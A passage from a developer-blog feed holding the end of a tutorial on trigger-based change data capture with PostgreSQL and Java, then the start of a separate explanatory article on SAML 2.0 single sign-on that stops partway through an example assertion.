&lt;p&gt;Introduce a CDC event retention policy.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Archive older CDC events for auditing or recovery purposes.&lt;/li&gt;
&lt;li&gt;Remove events that are no longer required after they have been safely processed.&lt;/li&gt;
&lt;li&gt;Perform cleanup in controlled batches.&lt;/li&gt;
&lt;li&gt;Retain sufficient history to support operational recovery requirements.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A production implementation should coordinate cleanup with connector checkpoints and any required recovery or audit retention period.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.4 Polling-Based Change Detection
&lt;/h3&gt;

&lt;p&gt;The Java connector uses continuous polling to check for new CDC events.&lt;/p&gt;

&lt;p&gt;The polling interval is configurable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;cdc.polling.interval.ms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;2000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means the connector waits for the configured interval between polling cycles.&lt;/p&gt;

&lt;p&gt;Although polling is relatively simple to implement, it has some limitations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Changes may not be replicated immediately.&lt;/li&gt;
&lt;li&gt;Frequent polling can generate unnecessary database queries when no new events are available.&lt;/li&gt;
&lt;li&gt;A longer polling interval can increase replication latency.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Possible improvement:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For systems requiring lower latency, consider an event-notification mechanism or a streaming-based CDC architecture.&lt;/p&gt;

&lt;p&gt;For example, PostgreSQL supports logical decoding, which can be used to build a WAL-based CDC solution.&lt;/p&gt;

&lt;p&gt;The appropriate approach depends on the required latency, throughput, operational complexity, and recovery requirements.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.5 Schema Evolution
&lt;/h3&gt;

&lt;p&gt;The current implementation is designed around a specific employee table structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;employees
---------
id
name
department
salary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Java connector also expects these fields when processing the JSON data stored in &lt;code&gt;changed_data&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If the source table structure changes, the trigger function and Java connector may need corresponding updates.&lt;/p&gt;

&lt;p&gt;For example, adding a new employee column would require reviewing how the trigger captures the row and how the Java application maps the JSON data into the destination table.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Possible improvement:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Introduce explicit schema versioning and a more flexible mapping mechanism.&lt;/p&gt;

&lt;p&gt;This would help the CDC pipeline handle changes to source and destination schemas more systematically.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.6 Monitoring and Operational Visibility
&lt;/h3&gt;

&lt;p&gt;The current implementation provides console logging for important events, such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Database connection establishment.&lt;/li&gt;
&lt;li&gt;CDC event processing.&lt;/li&gt;
&lt;li&gt;Batch commits.&lt;/li&gt;
&lt;li&gt;Checkpoint updates.&lt;/li&gt;
&lt;li&gt;Retry attempts.&lt;/li&gt;
&lt;li&gt;Connection failures and recovery.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, it does not provide a dedicated monitoring dashboard or a comprehensive set of operational metrics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Possible improvement:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Integrate a monitoring solution such as Prometheus and Grafana.&lt;/p&gt;

&lt;p&gt;Useful metrics could include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Number of CDC events captured.&lt;/li&gt;
&lt;li&gt;Number of events successfully processed.&lt;/li&gt;
&lt;li&gt;Current checkpoint position.&lt;/li&gt;
&lt;li&gt;Number of pending CDC events.&lt;/li&gt;
&lt;li&gt;Batch processing duration.&lt;/li&gt;
&lt;li&gt;Replication latency.&lt;/li&gt;
&lt;li&gt;Number of transaction retries.&lt;/li&gt;
&lt;li&gt;Database reconnection attempts.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These metrics would help operators identify processing delays, database failures, and other operational problems.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.7 Scalability and Throughput
&lt;/h3&gt;

&lt;p&gt;The current connector processes CDC events sequentially using a single processing flow.&lt;/p&gt;

&lt;p&gt;Batch processing reduces the number of destination transactions, but the implementation does not distribute processing across multiple workers.&lt;/p&gt;

&lt;p&gt;For a high-volume system, a single connector may eventually become a throughput bottleneck.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Possible improvement:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Introduce controlled parallel processing where appropriate.&lt;/p&gt;

&lt;p&gt;However, parallel processing requires careful consideration of event ordering, transaction boundaries, checkpoint management, and operations affecting the same employee record.&lt;/p&gt;

&lt;p&gt;A production design should preserve the required ordering guarantees while improving throughput.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.8 Summary of Limitations and Future Improvements
&lt;/h3&gt;

&lt;p&gt;The following table summarizes the main limitations of the current implementation and possible improvements.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Area&lt;/th&gt;
&lt;th&gt;Current limitation&lt;/th&gt;
&lt;th&gt;Possible improvement&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initial synchronization&lt;/td&gt;
&lt;td&gt;Existing source records are not automatically copied&lt;/td&gt;
&lt;td&gt;Implement an initial snapshot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event ordering&lt;/td&gt;
&lt;td&gt;Sequence-generated IDs do not guarantee commit order&lt;/td&gt;
&lt;td&gt;Use commit-aware change positions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event retention&lt;/td&gt;
&lt;td&gt;CDC events are not automatically archived or removed&lt;/td&gt;
&lt;td&gt;Introduce retention and archival policies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Change detection&lt;/td&gt;
&lt;td&gt;Polling introduces latency and repeated queries&lt;/td&gt;
&lt;td&gt;Consider event notification or WAL-based CDC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Schema evolution&lt;/td&gt;
&lt;td&gt;Connector expects a fixed employee structure&lt;/td&gt;
&lt;td&gt;Introduce schema versioning and flexible mapping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monitoring&lt;/td&gt;
&lt;td&gt;Primarily console-based logging&lt;/td&gt;
&lt;td&gt;Integrate Prometheus and Grafana&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scalability&lt;/td&gt;
&lt;td&gt;Single processing flow&lt;/td&gt;
&lt;td&gt;Consider controlled parallel processing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These improvements provide a possible roadmap for evolving the demonstration into a more robust CDC solution.&lt;/p&gt;

&lt;p&gt;The current project intentionally focuses on understanding the fundamental concepts of trigger-based change capture, event processing, transaction management, and checkpoint-based recovery.&lt;/p&gt;

&lt;h2&gt;
  
  
  11. Conclusion
&lt;/h2&gt;

&lt;p&gt;In this tutorial, we built a Change Data Capture (CDC) pipeline using PostgreSQL triggers and Java.&lt;/p&gt;

&lt;p&gt;We started by creating separate source and destination PostgreSQL databases. We then implemented PostgreSQL trigger functions to capture INSERT, UPDATE, and DELETE operations and store the changes in a CDC events table.&lt;/p&gt;

&lt;p&gt;Next, we developed a Java-based CDC connector using JDBC to continuously retrieve and process these events.&lt;/p&gt;

&lt;p&gt;Along the way, we explored several important concepts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Trigger-based change capture:&lt;/strong&gt; Using PostgreSQL triggers to capture database changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event processing:&lt;/strong&gt; Reading CDC events and applying corresponding changes to the destination database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Batch processing and pagination:&lt;/strong&gt; Processing multiple events efficiently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Checkpoint management:&lt;/strong&gt; Tracking the last successfully processed event to support restart recovery.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transaction management:&lt;/strong&gt; Applying destination changes and checkpoint updates within the same transaction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error handling and recovery:&lt;/strong&gt; Implementing transaction retries, exponential backoff, and database connection recovery.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We also discussed some limitations of the current implementation, including initial data synchronization, event ordering under concurrent transactions, event retention, and scalability.&lt;/p&gt;

&lt;p&gt;The project demonstrates how fundamental database features and Java can be combined to build a functional CDC pipeline without relying on an external CDC framework.&lt;/p&gt;

&lt;p&gt;Although this implementation is intended as a learning project rather than a production-ready CDC platform, it provides a practical foundation for understanding change capture, event-driven data synchronization, and reliable database processing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Source Code
&lt;/h3&gt;

&lt;p&gt;The complete source code, SQL scripts, and project configuration are available on GitHub:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/cdc-demo" rel="noopener noreferrer"&gt;PostgreSQL Trigger-Based CDC Demo – GitHub&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Feel free to clone the repository, experiment with the implementation, and extend it with additional features.&lt;/p&gt;

&lt;p&gt;Thank you for reading!&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>database</category>
      <category>java</category>
      <category>postgres</category>
    </item>
    <item>
      <title>Understanding SAML 2.0: A Practical Guide to Enterprise SSO with Java Examples</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sun, 16 Aug 2026 18:43:56 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-saml-20-a-practical-guide-to-enterprise-sso-with-java-examples-3cpa</link>
      <guid>https://dev.to/sanjayghosh/understanding-saml-20-a-practical-guide-to-enterprise-sso-with-java-examples-3cpa</guid>
      <description>&lt;p&gt;&lt;strong&gt;Learn how SAML 2.0 enables Enterprise Single Sign-On, how IdPs and SPs communicate, what a SAML Assertion contains, how digital signatures protect it, and how to explore these concepts using Java examples.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🚀 Introduction
&lt;/h2&gt;

&lt;p&gt;Have you ever logged into one enterprise application and then opened another application without being asked for your username and password again?&lt;/p&gt;

&lt;p&gt;You were probably experiencing &lt;strong&gt;Single Sign-On (SSO)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In many enterprise environments, SSO is implemented using &lt;strong&gt;Security Assertion Markup Language (SAML)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;SAML can initially look complicated because it involves XML, Identity Providers, Service Providers, assertions, certificates, signatures, browser redirects, and several different messages.&lt;/p&gt;

&lt;p&gt;But the basic idea is actually quite straightforward:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;An Identity Provider authenticates the user and provides a trusted assertion about that user to an application.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The application, known as the &lt;strong&gt;Service Provider&lt;/strong&gt;, validates that assertion and decides whether to create a session for the user.&lt;/p&gt;

&lt;p&gt;In this article, we'll walk through that process step by step.&lt;/p&gt;

&lt;p&gt;We'll look at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What SAML 2.0 is&lt;/li&gt;
&lt;li&gt;Why enterprises use SAML&lt;/li&gt;
&lt;li&gt;Identity Provider (IdP) and Service Provider (SP)&lt;/li&gt;
&lt;li&gt;The SAML SSO authentication flow&lt;/li&gt;
&lt;li&gt;What a SAML Assertion contains&lt;/li&gt;
&lt;li&gt;Authentication and Attribute Statements&lt;/li&gt;
&lt;li&gt;Digital signatures&lt;/li&gt;
&lt;li&gt;Base64 encoding&lt;/li&gt;
&lt;li&gt;How the browser participates in the process&lt;/li&gt;
&lt;li&gt;Authentication vs. authorization&lt;/li&gt;
&lt;li&gt;SAML vs. OAuth 2.0 and JWT&lt;/li&gt;
&lt;li&gt;Security considerations&lt;/li&gt;
&lt;li&gt;Java examples that demonstrate the core concepts&lt;/li&gt;
&lt;li&gt;A complete Java simulation of the SAML flow&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Java examples used in this article are available in my GitHub repository:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAML Java Examples&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also maintain a more comprehensive SAML reference in my &lt;strong&gt;Software Engineering Knowledge Base&lt;/strong&gt;, which covers the concepts, flow diagrams, assertion structure, security considerations, and Java examples:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://clockwiseknowledge.com/se/saml.html" rel="noopener noreferrer"&gt;https://clockwiseknowledge.com/se/saml.html&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Before diving into the individual SAML components, let's first look at the complete picture. The following overview shows how SAML enables Enterprise Single Sign-On and how the Identity Provider, Service Provider, and SAML Assertion fit together.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔎 SAML at a Glance
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbfqur645sqw4ewfq0x1a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbfqur645sqw4ewfq0x1a.png" alt="SAML at a Glance" width="800" height="907"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🔐 What Is SAML?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SAML&lt;/strong&gt;, or Security Assertion Markup Language, is an XML-based standard for exchanging security information between an &lt;strong&gt;Identity Provider (IdP)&lt;/strong&gt; and a &lt;strong&gt;Service Provider (SP)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The OASIS SAML 2.0 standard defines XML-encoded assertions about authentication, attributes, and authorization, together with protocols used to exchange that information.&lt;/p&gt;

&lt;p&gt;A simplified view looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                    SAML

       +---------------------------+
       |    Identity Provider      |
       |           IdP             |
       +-------------+-------------+
                     |
                     | SAML Assertion
                     |
                     v
       +---------------------------+
       |    Service Provider       |
       |           SP              |
       +---------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important distinction is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The IdP authenticates the user.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The SP consumes and validates the information provided by the IdP.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User
 |
 | Login
 v
Identity Provider
 |
 | Authentication
 | MFA
 |
 | Signed SAML Assertion
 v
Service Provider
 |
 | Validate Assertion
 v
Application Access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This separation of responsibilities is one of the fundamental ideas behind SAML-based enterprise SSO.&lt;/p&gt;




&lt;h2&gt;
  
  
  🏢 Why Is SAML Popular in Enterprise SSO?
&lt;/h2&gt;

&lt;p&gt;Imagine a company has 50 different applications.&lt;/p&gt;

&lt;p&gt;Without SSO, users may have to maintain separate credentials for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CRM
HR System
Payroll
Cloud Console
Development Tools
Project Management
Email
Internal Applications
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With SAML SSO, authentication can be centralized.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                 +----------------+
                 |      User      |
                 +-------+--------+
                         |
                         v
                 +---------------+
                 |      IdP      |
                 | Authentication|
                 +-------+-------+
                         |
              +----------+----------+
              |          |          |
              v          v          v
             App A      App B      App C
              SP         SP         SP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Identity Provider becomes the central authority for authentication.&lt;/p&gt;

&lt;p&gt;It can also integrate with mechanisms such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password authentication&lt;/li&gt;
&lt;li&gt;Multi-factor authentication&lt;/li&gt;
&lt;li&gt;Smart cards&lt;/li&gt;
&lt;li&gt;Biometrics&lt;/li&gt;
&lt;li&gt;Enterprise directories&lt;/li&gt;
&lt;li&gt;Conditional access policies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Service Providers don't need to independently authenticate the user.&lt;/p&gt;




&lt;h2&gt;
  
  
  👥 The Three Important Participants
&lt;/h2&gt;

&lt;p&gt;Before looking at the SAML protocol, let's understand the three main participants.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. User
&lt;/h3&gt;

&lt;p&gt;The person trying to access an application.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;john.doe@company.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. Identity Provider — IdP
&lt;/h3&gt;

&lt;p&gt;The Identity Provider is responsible for authenticating the user.&lt;/p&gt;

&lt;p&gt;Examples include enterprise identity platforms such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Microsoft Entra ID&lt;/li&gt;
&lt;li&gt;Okta&lt;/li&gt;
&lt;li&gt;Ping Identity&lt;/li&gt;
&lt;li&gt;ADFS&lt;/li&gt;
&lt;li&gt;Google Workspace&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The IdP authenticates the user and generates a SAML Response containing a SAML Assertion.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Service Provider — SP
&lt;/h3&gt;

&lt;p&gt;The Service Provider is the application the user wants to access.&lt;/p&gt;

&lt;p&gt;Examples might include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Salesforce&lt;/li&gt;
&lt;li&gt;Workday&lt;/li&gt;
&lt;li&gt;GitHub Enterprise&lt;/li&gt;
&lt;li&gt;Internal enterprise applications&lt;/li&gt;
&lt;li&gt;Cloud applications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The SP trusts the configured Identity Provider and validates the SAML Response.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔄 The SAML SSO Flow
&lt;/h2&gt;

&lt;p&gt;Now let's look at what actually happens.&lt;/p&gt;

&lt;p&gt;Suppose a user wants to access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://application.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user hasn't authenticated yet.&lt;/p&gt;

&lt;p&gt;The simplified flow is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User
 |
 | 1. Access application
 v
Service Provider
 |
 | 2. Authentication Request
 v
Identity Provider
 |
 | 3. Authenticate User
 |
 | 4. Create Signed Assertion
 v
Browser
 |
 | 5. SAML Response
 v
Service Provider
 |
 | 6. Validate Assertion
 v
Application Access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's walk through each step.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 — User Accesses the Application
&lt;/h2&gt;

&lt;p&gt;The user opens the protected application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://application.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application is the &lt;strong&gt;Service Provider&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The SP determines that the user doesn't have a valid application session.&lt;/p&gt;

&lt;p&gt;Instead of asking the user for another password, it initiates the SAML authentication flow.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 — The SP Sends an Authentication Request
&lt;/h2&gt;

&lt;p&gt;The Service Provider sends a &lt;strong&gt;SAML Authentication Request&lt;/strong&gt;, commonly called an &lt;code&gt;AuthnRequest&lt;/code&gt;, to the Identity Provider.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser
   |
   v
Service Provider
   |
   | AuthnRequest
   v
Identity Provider
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The request tells the IdP that the application wants the user authenticated.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — The IdP Authenticates the User
&lt;/h2&gt;

&lt;p&gt;The Identity Provider now authenticates the user.&lt;/p&gt;

&lt;p&gt;This could involve:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username + Password
        +
MFA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or another authentication mechanism.&lt;/p&gt;

&lt;p&gt;The important point is that the &lt;strong&gt;Service Provider doesn't need to handle the user's enterprise credentials directly&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The IdP is responsible for authentication.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 — The IdP Creates a SAML Assertion
&lt;/h2&gt;

&lt;p&gt;After successful authentication, the IdP creates a &lt;strong&gt;SAML Assertion&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A SAML Assertion is an XML document containing statements about the authenticated user.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:Assertion&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;
        https://identity-provider.example.com
    &lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;saml:Subject&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;saml:NameID&amp;gt;&lt;/span&gt;
            john.doe@company.com
        &lt;span class="nt"&gt;&amp;lt;/saml:NameID&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/saml:Subject&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;saml:AuthnStatement&amp;gt;&lt;/span&gt;
        Authentication Method = MFA
    &lt;span class="nt"&gt;&amp;lt;/saml:AuthnStatement&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;saml:AttributeStatement&amp;gt;&lt;/span&gt;

        Email = john.doe@company.com

        Department = Engineering

        Role = Administrator

    &lt;span class="nt"&gt;&amp;lt;/saml:AttributeStatement&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/saml:Assertion&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a &lt;strong&gt;simplified educational example&lt;/strong&gt;. A production SAML Assertion contains additional elements and security information.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧩 What Is Inside a SAML Assertion?
&lt;/h2&gt;

&lt;p&gt;A SAML Assertion can contain different types of statements.&lt;/p&gt;

&lt;h3&gt;
  
  
  Authentication Statement
&lt;/h3&gt;

&lt;p&gt;The Authentication Statement describes the authentication event.&lt;/p&gt;

&lt;p&gt;It can contain information such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication time&lt;/li&gt;
&lt;li&gt;Authentication method&lt;/li&gt;
&lt;li&gt;Session information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication Method = MFA
Authentication Time = 2026-08-15T10:30:00Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Attribute Statement
&lt;/h3&gt;

&lt;p&gt;An Attribute Statement contains information about the user.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Email       = john.doe@company.com
Department  = Engineering
Role        = Administrator
Group       = Developers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Service Provider can use these attributes when determining what application functionality the user should receive.&lt;/p&gt;




&lt;h3&gt;
  
  
  Authorization Decision Statement
&lt;/h3&gt;

&lt;p&gt;SAML also defines authorization decision statements.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User
 |
 | Permission
 v
Protected Resource
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, it's important not to confuse authentication and authorization.&lt;/p&gt;

&lt;p&gt;We'll come back to this distinction shortly.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔍 Understanding the Important XML Elements
&lt;/h2&gt;

&lt;p&gt;Let's examine the major elements in our simplified Assertion.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;&amp;lt;Issuer&amp;gt;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Identifies the entity that issued the assertion.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;
    https://identity-provider.example.com
&lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Service Provider needs to know who issued the assertion.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;code&gt;&amp;lt;Subject&amp;gt;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Identifies the subject of the assertion—the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:Subject&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:NameID&amp;gt;&lt;/span&gt;
        john.doe@company.com
    &lt;span class="nt"&gt;&amp;lt;/saml:NameID&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/saml:Subject&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;code&gt;&amp;lt;NameID&amp;gt;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Provides an identifier for the user.&lt;/p&gt;

&lt;p&gt;It might be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;john.doe@company.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or an employee ID or another configured identifier.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;code&gt;&amp;lt;Conditions&amp;gt;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Conditions constrain when and where the assertion can be accepted.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:Conditions&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;saml:AudienceRestriction&amp;gt;&lt;/span&gt;

        &lt;span class="nt"&gt;&amp;lt;saml:Audience&amp;gt;&lt;/span&gt;
            https://application.example.com
        &lt;span class="nt"&gt;&amp;lt;/saml:Audience&amp;gt;&lt;/span&gt;

